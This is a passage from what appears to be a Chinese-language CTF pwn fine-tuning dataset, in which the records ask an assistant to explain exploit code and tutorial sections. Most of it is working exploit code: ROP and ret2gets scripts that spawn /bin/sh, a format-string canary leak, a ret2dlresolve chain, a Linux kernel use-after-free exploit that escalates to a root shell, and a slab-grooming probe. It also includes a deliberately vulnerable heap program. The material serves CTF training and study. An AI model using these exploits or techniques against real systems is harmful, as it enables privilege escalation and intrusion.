logi(\"[+] Multi-slot stale-free pool groom\");\n    show_ret(\"alloc base\", BASE, alloc_slot(BASE));\n    show_ret(\"free base #1\", BASE, free_slot(BASE));\n    for (int i = 0; i < N; i++) {\n        long r = alloc_slot(BASE + 1 + i);\n        if (r) show_ret(\"alloc pool\", BASE + 1 + i, r);\n    }\n    show_ret(\"free base #2\", BASE, free_slot(BASE));\n    int ok = 0, fail = 0;\n    for (int i = 0; i < N; i++) {\n        long r = free_slot(BASE + 1 + i);\n        if (r == 0) ok++; else fail++;\n    }\n    logi(\"[+] pool frees: ok=%d fail=%d\", ok, fail);\n}\n\nstatic void usage(const char *argv0) {\n    fprintf(stderr,\n            \"Usage: %s [safe|slab|double-free|alias|pool]\\n\"\n            \"  safe        non-crashing ioctl smoke test\\n\"\n            \"  slab        print slab/sysfs facts when readable\\n\"\n            \"  double-free minimal alloc/free/free trigger\\n\"\n            \"  alias       dangling-slot alias sequence\\n\"\n            \"  pool        multi-slot stale-free groom/stress\\n\",\n            argv0);\n}\n\nint main(int argc, char **argv) {\n    setbuf(stdout, NULL);\n    setbuf(stderr, NULL);\n    pin_cpu0();\n    open_dev();\n\n    const char *mode = (argc > 1) ? argv[1] : \"double-free\";\n    if (!strcmp(mode, \"safe\")) mode_safe();\n    else if (!strcmp(mode, \"slab\")) slab_info();\n    else if (!strcmp(mode, \"double-free\")) mode_double_free();\n    else if (!strcmp(mode, \"alias\")) mode_alias();\n    else if (!strcmp(mode, \"pool\")) mode_pool();\n    else { usage(argv[0]); return 1; }\n    return 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-0e353f9cf376ae65", "original_line": 293, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/primitive_probe.c", "split": "train", "split_group_key": "439fdcf6d14d65e5e092405c"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/primitive_probe.c", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-7d9badf0563c88a495e1", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Heap/hitcontraining_uaf/hacknote.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Heap/hitcontraining_uaf/hacknote.c`\n\n分类：heap\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n- `#include `\n- `#include `\n\n函数/封装：\n- `add_note`\n- `del_note`\n- `magic`\n- `main`\n- `menu`\n- `print_note`\n- `print_note_content`\n\n利用主题关键词：\n- uaf/double-free\n- seccomp/orw\n\n训练用代码片段：\n```c\n#include \n#include \n#include \n\nstruct note {\n  void (*printnote)();\n  char *content;\n};\n\nstruct note *notelist[5];\nint count = 0;\n\nvoid print_note_content(struct note *this) { puts(this->content); }\nvoid add_note() {\n  int i;\n  char buf[8];\n  int size;\n  if (count > 5) {\n    puts(\"Full\");\n    return;\n  }\n  for (i = 0; i < 5; i++) {\n    if (!notelist[i]) {\n      notelist[i] = (struct note *)malloc(sizeof(struct note));\n      if (!notelist[i]) {\n        puts(\"Alloca Error\");\n        exit(-1);\n      }\n      notelist[i]->printnote = print_note_content;\n      printf(\"Note size :\");\n      read(0, buf, 8);\n      size = atoi(buf);\n      notelist[i]->content = (char *)malloc(size);\n      if (!notelist[i]->content) {\n        puts(\"Alloca Error\");\n        exit(-1);\n      }\n      printf(\"Content :\");\n      read(0, notelist[i]->content, size);\n      puts(\"Success !\");\n      count++;\n      break;\n    }\n  }\n}\n\nvoid del_note() {\n  char buf[4];\n  int idx;\n  printf(\"Index :\");\n  read(0, buf, 4);\n  idx = atoi(buf);\n  if (idx < 0 || idx >= count) {\n    puts(\"Out of bound!\");\n    _exit(0);\n  }\n  if (notelist[idx]) {\n    free(notelist[idx]->content);\n    free(notelist[idx]);\n    puts(\"Success\");\n  }\n}\n\nvoid print_note() {\n  char buf[4];\n  int idx;\n  printf(\"Index :\");\n  read(0, buf, 4);\n  idx = atoi(buf);\n  if (idx < 0 || idx >= count) {\n    puts(\"Out of bound!\");\n    _exit(0);\n  }\n  if (notelist[idx]) {\n    notelist[idx]->printnote(notelist[idx]);\n  }\n}\n\nvoid magic() { system(\"cat flag\"); }\n\nvoid menu() {\n  puts(\"----------------------\");\n  puts(\"       HackNote       \");\n  puts(\"----------------------\");\n  puts(\" 1. Add note          \");\n  puts(\" 2. Delete note       \");\n  puts(\" 3. Print note        \");\n  puts(\" 4. Exit              \");\n  puts(\"----------------------\");\n  printf(\"Your choice :\");\n};\n\nint main() {\n  setvbuf(stdout, 0, 2, 0);\n  setvbuf(stdin, 0, 2, 0);\n  char buf[4];\n  while (1) {\n    menu();\n    read(0, buf, 4);\n    switch (atoi(buf)) {\n    case 1:\n      add_note();\n      break;\n    case 2:\n      del_note();\n      break;\n    case 3:\n      print_note();\n      break;\n    case 4:\n      exit(0);\n      break;\n    default:\n      puts(\"Invalid choice\");\n      break;\n    }\n  }\n  return 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-9a3eb91bcab5b005", "original_line": 13, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/hitcontraining_uaf/hacknote.c", "split": "train", "split_group_key": "3ed45e1fb1e69419527d1746"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/hitcontraining_uaf/hacknote.c", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-7da64ad01880a3d9587f", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/RWCTF2022 高校赛 - Digging into kernel/run.sh` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/RWCTF2022 高校赛 - Digging into kernel/run.sh`\n\n分类：kernel\n\n语言：bash\n\n训练用代码片段：\n```bash\nqemu-system-x86_64 \\\n\t-kernel bzImage \\\n\t-initrd rootfs.cpio \\\n\t-append \"console=ttyS0 root=/dev/ram rdinit=/sbin/init quiet kalsr\" \\\n\t-cpu kvm64,+smep,+smap \\\n\t-monitor null \\\n\t--nographic \\\n    -s -S\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-08a702b6c61a2b60", "original_line": 328, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/RWCTF2022 高校赛 - Digging into kernel/run.sh", "split": "train", "split_group_key": "cda4ed0e80889974474de01e"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/RWCTF2022 高校赛 - Digging into kernel/run.sh", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-7dd2b41754ab0b460b06", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/2022ciscn-cactus/exp.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/2022ciscn-cactus/exp.c`\n\n分类：kernel\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n\n函数/封装：\n- `ErrExit`\n- `add`\n- `delete`\n- `get_shell`\n- `kernelLeakQuery`\n- `main`\n- `save_status`\n\n利用主题关键词：\n- uaf/double-free\n- seccomp/orw\n- kernel\n- stack/rop\n\n关键常量/偏移样例：\n`0x100`, `0x260`, `0x320`, `0x440`, `0x4f0`, `0x5e0`, `0x6e9`, `0x785`, `0x8b4`, `0x900`, `0x980`, `0x990`, `0xc40`, `0xc90`, `0xde7`, `0xe80`\n\n训练用代码片段：\n```c\n#define _GNU_SOURCE\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#define PREPARE_KERNEL_CRED 0xffffffff810d2ac0\n#define INIT_CRED 0xffffffff82c6d580\n#define COMMIT_CREDS 0xffffffff810d25c0\n#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81c00ff0\n#define POP_RDI_RET 0xffffffff810938f0\n#define SECONDARY_STARTUP_64 0xffffffff81000040\n\nsize_t user_cs, user_ss, user_sp, user_rflags;\nsize_t kernel_offset, kernel_base = 0xffffffff81000000;\nsize_t prepare_kernel_cred, commit_creds, swapgs_restore_regs_and_return_to_usermode, init_cred;\n\nint fd;\nint pipe_fd, pipe_fd1[2], pipe_fd2[2];\n\nvoid ErrExit(char* err_msg)\n{\n\tputs(err_msg);\n\texit(-1);\n}\n\nvoid add()\n{\n\tioctl(fd, 0x1234);\n}\n\nvoid delete()\n{\n\tioctl(fd, 0xdead);\n}\n\nvoid save_status()\n{\n\t__asm__(\n\t\"mov user_cs, cs;\"\n\t\"mov user_ss, ss;\"\n\t\"mov user_sp, rsp;\"\n\t\"pushf;\"\n\t\"pop user_rflags;\"\n\t);\n        printf(\"\\033[34m\\033[1m[+] save the state success!\\033[0m\\n\");\n}\n\nvoid get_shell()\n{\n\tif (getuid() == 0)\n\t{\n\t\tprintf(\"\\033[32m\\033[1m[+] get root shell !\\033[0m\\n\");\n\t\tsystem(\"/bin/sh\");\n\t\t//char *shell = \"/bin/sh\";\n\t\t//char *args[] = {shell, NULL};\n\t\t//execve(shell, args, NULL);\n\t}\n\telse\n\t{\n\t\tprintf(\"\\033[31m\\033[1m[-] get shell error !\\033[0m\\n\");\n\t\texit(0);\n\t}\n}\n\nsize_t kernelLeakQuery(size_t kernel_text_leak)\n{\n\tsize_t kernel_offset = 0xdeadbeef;\n\tswitch (kernel_text_leak & 0xfff)\n\t{\n\t\tcase 0x6e9:\n\t\t\tkernel_offset = kernel_text_leak - 0xffffffff812b76e9;\n   \t\t\tbreak;\n\t\tcase 0x980:\n\t\t\tkernel_offset = kernel_text_leak - 0xffffffff82101980;\n\t\t\tbreak;\n\t\tcase 0x440:\n\t\t\tkernel_offset = kernel_text_leak - 0xffffffff82e77440;\n\t\t\tbreak;\n\t\tcase 0xde7:\n\n# ... 中间内容省略，保留关键利用片段 ...\n\n\tbuf = (size_t*)malloc(0x4000);\n\tdelete();\n\tdelete();\n\tret = msgrcv(ms_qid[kmsg_idx], buf, 1024 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR); // add a obj to pass detection in set_freepointer() in free_msg\n\tbuf[rop_idx++] = COMMIT_CREDS + kernel_offset;\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-0255eda77c5f7bdd", "original_line": 280, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2022ciscn-cactus/exp.c", "split": "train", "split_group_key": "b7a928cf6753a1e8d061b4c5"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2022ciscn-cactus/exp.c", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-8018f7e71c8c9708f269", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「Artifact」。\n资料来源：Kernel/2026d3ctf-d3kheap2pro/XCACHE_RESULTS.md；主题：d3kheap2pro cross-cache / Dirty Pagetable experiment log；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## Artifact\n\n- `xcache_probe.c`: root-debug VM experiment helper.\n- `xcache_probe`: static build.\n\nModes:\n\n```sh\n/root/xcache_probe stats\n/root/xcache_probe drain\n/root/xcache_probe group-drain\n/root/xcache_probe recycle 32\n/root/xcache_probe second-free-scan 32\n/root/xcache_probe targeted-scan 32 176\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-50c09010d5171883", "original_line": 381, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/XCACHE_RESULTS.md", "split": "train", "split_group_key": "88b27da04fe7f89b23f165d9"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/XCACHE_RESULTS.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-802b4c57846e2a5abb28", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「例题」。\n资料来源：stack.md；主题：栈利用；分类：stack。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 例题\n\n>2025LitCTF master_of_rop\n\n- **分析**\n\n题目直接给了一个 gets，所以必定存在溢出。\n\n[图片: image]\n\n但是因为这是高版本的 glibc，因此其中的 gadget 非常少，所以我们可以尝试通过 ret2gets 利用。\n\n```python\n❯ ROPgadget --binary ./pwn --only \"pop|ret\"\nGadgets information\n============================================================\n0x000000000040115d : pop rbp ; ret\n0x000000000040101a : ret\n0x000000000040105a : ret 0xffff\n```\n\n调试分析：\n\n在调用 gets 函数之前，rdi 寄存器指向了栈地址。\n\n[图片: image]\n\n+ exp\n\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('pwn')\nio = process([elf.path])\nlibc = ELF(\"libc.so.6\")\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\ncontext.terminal = ['cmd.exe', '/c', 'start', '\"\"', 'wt.exe', 'wsl', '-e', 'bash', '-lc']\n\ngets_plt = elf.plt['gets']\nputs_plt = elf.plt['puts']\nmain_addr = 0x04011AD\n\npayload  = b\"A\" * 0x28\npayload += p64(gets_plt)\npayload += p64(gets_plt)\npayload += p64(puts_plt)\npayload += p64(main_addr)\n\nsla(b\"Welcome to LitCTF2025!\\n\", payload)\nio.sendline(p32(0) + b\"A\"*4 + b\"B\"*8)\nio.sendline(b\"CCCC\")\n\nio.recv(8)\ntls = u64(io.recv(6) + b\"\\x00\\x00\")\nlibc_base = tls + 0x28c0\n\nsystem_addr = libc_base + libc.symbols['system']\nbin_sh_addr = libc_base + next(libc.search(b\"/bin/sh\"))\npop_rdi_ret = libc_base + 0x000000000010f75b #: pop rdi; ret;\nret = libc_base + 0x000000000002882f #: ret;\n\npayload  = b\"A\" * 0x28\npayload += p64(pop_rdi_ret)\npayload += p64(bin_sh_addr)\npayload += p64(ret)\npayload += p64(system_addr)\n\nsla(b\"Welcome to LitCTF2025!\\n\", payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-d959b3d7a871f682", "original_line": 613, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "split_group_key": "5d29b793664b20592ba25f84"}, "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-80de45c47317c1746bff", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「getshell」。\n资料来源：stack.md；主题：栈利用；分类：stack。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### getshell\n\n如果我们可以进行足够长度的栈溢出，便可以通过`sigreturn`系统调用将寄存器设置为我们指定的内容。\n\n例如我们构造一个`execve(\"/bin/sh\",0,0)`：\n\n```c\nrax=0x3b\nrdi=\"/bin/sh\\x00\"\nrsi=0\nrdx=0\n```\n\n使用 SROP 的前提条件：\n\n+ 必须存在栈溢出漏洞可以控制返回地址。\n+ 可以去系统调用 sigreturn（如果找不到合适的系统调用号，就利用`read`函数来控制`rax`的参数）\n+ 必须知道`/bin/sh`的地址，如果写`bss`段，直接写地址就行‘，如果写到栈里，还需要想办法去泄露栈地址。\n+ 允许溢出的长度足够长，这样可以去布局我们想要的寄存器的值。\n+ 需要知道`syscall`指令的地址", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-2b9b0d7fdb703e1d", "original_line": 57, "original_split": "validation", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "split_group_key": "5d29b793664b20592ba25f84"}, "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-81466e987ca87f77aa15", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `其它漏洞/格式化字符串/栈数据泄露/[HNCTF 2022 WEEK4]ezcanary/exp_cli.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`其它漏洞/格式化字符串/栈数据泄露/[HNCTF 2022 WEEK4]ezcanary/exp_cli.py`\n\n分类：misc_vuln\n\n语言：python\n\n环境/依赖线索：\n- `from pwncli import *`\n\n利用主题关键词：\n- stack/rop\n\n关键常量/偏移样例：\n`0x29d90`, `0x7ffff7f99000`, `0x000000000040101a`, `0x0000000000401323`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\nset_remote_libc('libc.so.6')\n\nio: tube = gift.io\nelf: ELF = gift.elf\nlibc: ELF = gift.libc\n\nrdi=0x0000000000401323\nret=0x000000000040101a\n\nsl(b\"%51$p.%53$p\")\n\nru(b'name:\\n')\ncanary=int(r(18),16)\nprint(\"canary\",hex(canary))\nru(b'.')\nbase=int(r(14),16)\nb=base- 0x7ffff7f99000\nbase=base-0x29d90\nprint(hex(base))\nprint(\"base\",hex(b))\n\nsh=base+next(libc.search(\"/bin/sh\\x00\"))\nsys=base+libc.sym.system\npayload=b'a'*264+p64(canary)+p64(1234)+p64(rdi)+p64(sh)+p64(ret)+p64(sys)\nsl(payload)\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-code-57aab58be31bf6a9", "original_line": 465, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/栈数据泄露/[HNCTF 2022 WEEK4]ezcanary/exp_cli.py", "split": "train", "split_group_key": "6eca83f2cc6856898201bac2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/栈数据泄露/[HNCTF 2022 WEEK4]ezcanary/exp_cli.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-81ce40c1cd45e16db136", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/pivot/StackShiftInfo.h` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/pivot/StackShiftInfo.h`\n\n分类：kernel\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n\n利用主题关键词：\n- io-file/fsop\n\n训练用代码片段：\n```c\n/*\n * Copyright 2025 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n#pragma once\n\n#include \n#include \n#include \n#include \n\n/**\n * @defgroup pivot_classes Pivot Classes\n * @brief Classes for stack pivoting and related techniques.\n */\n\n/**\n * @ingroup pivot_classes\n * @brief Represents information about a single stack shifting gadget within a chain.\n */\nstruct StackShiftInfo {\n    /// @brief The offset within the payload where the address of this stack shift pivot is written.\n    uint64_t ret_offset;\n    /// @brief The stack shift pivot gadget.\n    const StackShiftPivot pivot;\n};\n\n/**\n * @ingroup pivot_classes\n * @brief Stores information about a chain of stack shifting gadgets.\n */\nstruct StackShiftingInfo {\n    /// @brief A vector of individual stack shift gadget information.\n    std::vector stack_shifts;\n    /// @brief The starting offset within the payload where the first stack shift pivot address is written.\n    uint64_t from_offset;\n    uint64_t to_offset;\n    uint64_t next_ret_offset;\n\n    void Apply(uint64_t kaslr_base, Payload& payload);\n};\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-71155f65b097804a", "original_line": 305, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/pivot/StackShiftInfo.h", "split": "train", "split_group_key": "dba9bb8ec7a0ab9d31902985"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/pivot/StackShiftInfo.h", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-82420c93958fcae282f4", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/ret2dlresolve/dl_resolve_64/64位/dl-resolve-x86-64.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/ret2dlresolve/dl_resolve_64/64位/dl-resolve-x86-64.py`\n\n分类：stack\n\n语言：python\n\n环境/依赖线索：\n- `import roputils`\n- `from pwn import *`\n\n利用主题关键词：\n- seccomp/orw\n- stack/rop\n\n关键常量/偏移样例：\n`0x100`, `0x1c8`, `0x400`, `0x400676`, `0x4006ab`, `0x400790`, `0x4007AA`, `0x601008`, `0x601018`\n\n训练用代码片段：\n```python\n#!/usr/bin/python\n#coding:utf-8\nimport roputils\nfrom pwn import *\n#context.log_level = 'debug'\n\nfpath = './bof'        #需要修改的地方：文件名、溢出偏移; 读取偏移0x100->  ?? ; gadget地址\noffset = 112\n\nrop = roputils.ROP(fpath)\naddr_stage = rop.section('.bss') + 0x400\nptr_ret = rop.search(rop.section('.fini'))\n\nmain_addr=0x400676\npop6_addr=0x4007AA\ncall_addr=0x400790\nwrite_got=0x601018\ngot_8=0x601008\nbuf = rop.retfill(offset)\nbuf += 'a'*8\nbuf += p64(pop6_addr)+p64(0)+p64(1)+p64(write_got)+p64(8)+p64(got_8)+p64(1)+p64(call_addr)\nbuf += p64(0)*7\nbuf += p64(main_addr)\nbuf =  buf.ljust(0x100,'\\x00')    #1.泄露&link_map地址，读取偏移0x100有待修改\n\np = process(fpath)\nprint p.recv()\np.send(buf)\naddr_link_map = u64(p.recv(8))\n\n\nbuf = rop.retfill(offset)         #2.往bss段写入ROP链和伪造的结构\nbuf += 'a'*8\nbuf += rop.call_chain_ptr(\n    #['write', 1, rop.got()+8, 8],\n    ['read', 0, addr_stage, 500]   #400\n, pivot=addr_stage)\nbuf=buf.ljust(0x100,'\\x00')\np.send(buf)\n\n#gdb.attach(p,'b *0x4006ab')\naddr_dt_debug = addr_link_map + 0x1c8     #3.bss段的rop作用:往link_map+0x1c8写0; 同时往bss段写入伪造结构。\nbuf = rop.call_chain_ptr(\n    ['read', 0, addr_dt_debug, 8],\n    [ptr_ret, addr_stage+450]  #380\n)\nbuf += rop.dl_resolve_call(addr_stage+300)\nbuf =  buf.ljust(300,'\\x00')\nbuf += rop.dl_resolve_data(addr_stage+300, 'system')\nbuf =  buf.ljust(450,'\\x00')   #380\nbuf += rop.string('/bin/sh')\nbuf =  buf.ljust(500,'\\x00')\n\np.send(buf)\np.send(p64(0))      #写0\np.interactive()\n\n'''\n#for i in range(len(buf)/8):\n#\tprint hex(u64(buf[8*i:8*(i+1)]))\n#raw_input('wait!\\n')\n'''\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-4cdc8fa7c09721f8", "original_line": 534, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2dlresolve/dl_resolve_64/64位/dl-resolve-x86-64.py", "split": "train", "split_group_key": "9874a89e93bd252a17262912"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2dlresolve/dl_resolve_64/64位/dl-resolve-x86-64.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-83816954c2aaba32c32c", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「TcacheBin Attack」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## TcacheBin Attack\n\n在 glibc 2.26中，引入了 tcache bins 从而诞生出了很多基于 tcache 的攻击手法。\n\n它类似于 fastbin，但是每条链上最多可以有 7 个 chunk，free的时候当tcache满了才放入fastbin，unsorted bin，malloc的时候优先去tcache找。\n\n换句话说，tcache 是比 fastbin 优先级更高，范围最大的一类 bins。\n\n- tcache_get：取出tcache\n- tcache_put：放入tcache\n\n```c\n#define TCACHE_MAX_BINS 64\n#define TCACHE_MAX_COUNT 7\n\n//tcache结构\ntypedef struct tcache_entry {\n    struct tcache_entry *next;\n} tcache_entry;\n\ntypedef struct tcache_perthread_struct {\n    tcache_entry *entries[TCACHE_MAX_BINS];\n    unsigned char counts[TCACHE_MAX_BINS];\n} tcache_perthread_struct;\n\n__thread tcache_perthread_struct tcache; // 每线程一个 tcache\n\nstatic void *tcache_get(size_t idx)\n{\n    tcache_entry *entry;\n\n    // idx 是 size 